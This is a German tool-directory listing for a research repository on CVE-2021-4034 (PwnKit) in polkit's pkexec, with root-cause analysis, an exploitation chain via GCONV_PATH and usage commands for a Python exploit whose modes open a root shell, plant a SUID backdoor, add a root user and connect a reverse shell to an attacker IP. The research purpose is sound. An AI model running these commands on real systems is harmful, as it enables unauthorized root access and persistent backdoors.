Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/devianntsec/cve-2021-4034
Privilege EscalationSpeicherforensikSchwachstellenanalyseExploitationPost-ExploitationPenetrationstestsLernen & BildungRed TeamingPayload-EntwicklungBinary-Exploitation
GitHubdevianntsec/cve-2021-4034

CVE-2021-4034

Repository anzeigen
153vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Masterarbeit über CVE-2021-4034 (PwnKit) lokale Privilegienausweitung. Python-Exploit mit mehreren Payloads und 7 Modi, darunter interaktive Shell, SUID-Backdoor, Reverse-Shell und Erstellung eines Root-Benutzers. Enthält Root-Cause-Analyse und Dokumentation der Exploitation-Kette.

Teilen

CVE-2021-4034 — PwnKit Lokale Privilegienausweitung · Masterarbeit Forschung

Platform Language License: MIT Research CVSS

Speicherkorruptions-Schwachstelle im pkexec-Dienstprogramm von polkit
Lokale Privilegienausweitung → root durch Out-of-Bounds-Schreibzugriff
Betroffen: polkit 0.105-31 und früher · Patch: polkit 0.105-33 (Januar 2022)


Interaktive Root-Shell erlangt durch CVE-2021-4034 - PwnKit

Beschreibung

Dieses Repository enthält meine Masterarbeit-Forschung zu CVE-2021-4034, einer Schwachstelle mit hohem Schweregrad (CVSS 7.8) zur lokalen Privilegienausweitung im pkexec-Dienstprogramm von polkit, allgemein bekannt als PwnKit.

Die Schwachstelle entsteht durch einen Out-of-Bounds-Schreibzugriff in der Argumentverarbeitungslogik von pkexec. Wenn pkexec mit einem leeren oder manipulierten argv ausgeführt wird, liest und schreibt es über die Grenzen des argv-Arrays hinaus in das envp-Array, wodurch ein unprivilegierter lokaler Benutzer bösartige Umgebungsvariablen injizieren kann, die anschließend als gemeinsam genutzte Bibliothek geladen werden und beliebigen Code mit Root-Rechten ausführen.

Mein Beitrag

AspektBeschreibung
Multi-Payload-ExploitPython-Wrapper mit 6 Payload-Modi, darunter Shell, ID, Backdoor und Reverse Shell
Automatisierte UmgebungseinrichtungAutomatischer Aufbau von GCONV_PATH und Konfiguration von gconv-modules
Post-Exploitation-ModuleSUID-Backdoor, Root-Benutzererstellung und benutzerdefinierte Befehlsausführung
Akademische DokumentationUrsachenanalyse, Exploitation-Kette und Schwachstellen-Zeitleiste

Repository-Struktur

CVE-2021-4034/
├── README.md                        # Diese Datei
├── LICENSE                          # MIT-Lizenz
│
├── exploit/
│   └── pwnkit.py                    # Erweiterter Exploit mit mehreren Payloads
│
└── docs/
    ├── screenshots/                 # Exploitation-Demonstrationen
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Ursachenanalyse der Schwachstelle
        ├── 02-exploitation-chain.md # Aufschlüsselung der Exploitation-Kette
        └── 03-timeline.md           # CVE-Zeitleiste

Schnellstart

Voraussetzungen

  • Linux-System mit anfälligem polkit (pkexec --version zeigt 0.105 oder früher)
  • GCC-Compiler (apt install gcc)
  • Python 3.6+
  • Normales Benutzerkonto (kein Root erforderlich)
  • Isolierte VM für Tests empfohlen

Verwendung

# Interaktive Root-Shell (Standard)
python3 exploit/pwnkit.py -p shell

# Ausführungskontext überprüfen
python3 exploit/pwnkit.py -p whoami

# Benutzerdefinierten Befehl als Root ausführen
python3 exploit/pwnkit.py -p custom -c "id"

# SUID-Backdoor unter /tmp/.sh erstellen
python3 exploit/pwnkit.py -p backdoor_suid

# Dauerhaften Root-Benutzer hinzufügen
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# Reverse Shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

Payload-Referenz

PayloadBeschreibungAusgabe
shellStartet interaktives /bin/sh als RootInteraktive Shell
idSchreibt id- und whoami-Ausgabe nach /tmp/pwnkit_id.txtDatei
whoamiSchreibt UID/eUID-Überprüfung nach /tmp/pwnkit_root_testDatei
backdoor_suidErstellt SUID-Root-Bash-Kopie unter /tmp/.shDauerhafte Backdoor
add_root_userHängt benutzerdefinierten Benutzer an /etc/passwd anDauerhafter Zugriff
reverse_shellStellt Rückverbindung zum Angreifer über Python herRemote-Shell
customFührt beliebigen Befehl als Root ausStdout / Datei

Technischer Überblick

Ursache der Schwachstelle

pkexec verarbeitet sein eigenes argv, um das ausgeführte Programm zu lokalisieren. Wenn es mit argc == 0 (leerer Argumentvektor) aufgerufen wird, schlägt die Grenzprüfung von argv stillschweigend fehl. Der anschließende Out-of-Bounds-Lesevorgang behandelt envp[0] als argv[1], und der Out-of-Bounds-Schreibzugriff zurück in envp ermöglicht es einem Angreifer, eine Umgebungsvariable durch einen manipulierten Pfad zu ersetzen. Wenn pkexec später g_printerr() aufruft, lädt es GCONV_PATH aus der nun vom Angreifer kontrollierten Umgebung und lädt eine vom Angreifer bereitgestellte gemeinsam genutzte Bibliothek mit Root-Rechten.

argc == 0  →  argv[1] reads envp[0]
             argv[1] = "GCONV_PATH=."  (writes back into envp)
             pkexec loads ./pwnkit.so  (attacker-controlled shared library)
             gconv_init() executes as root

Exploitation-Kette

1. Craft argv = { NULL }  →  argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)

Wichtige technische Details

KomponenteWertAnmerkungen
Anfällige Binärdatei/usr/bin/pkexecSUID root
Auslösebedingungargc == 0Leeres argv
Schreib-PrimitiveOOB-Schreibzugriff in envpÜber argv[argc-1]
LademechanismusGCONV_PATH + gconv-modulesStandard glibc iconv
Ausführungskontextgconv_init() in gemeinsam genutzter BibliothekLäuft als EUID 0
Betroffene Versionenpolkit ≤ 0.105-31Alle gängigen Linux-Distributionen

Demonstrationen

Interaktive Root-Shell

Interaktive Shell

ID-Überprüfung

ID-Payload

Whoami-Überprüfung

Whoami-Payload

SUID-Backdoor

Backdoor-Payload

Root-Benutzer hinzufügen

Root-Benutzer hinzufügen

Reverse Shell

Reverse Shell

Benutzerdefinierter Befehl

Benutzerdefinierter Payload


Empirische Tests

Tool herunterladen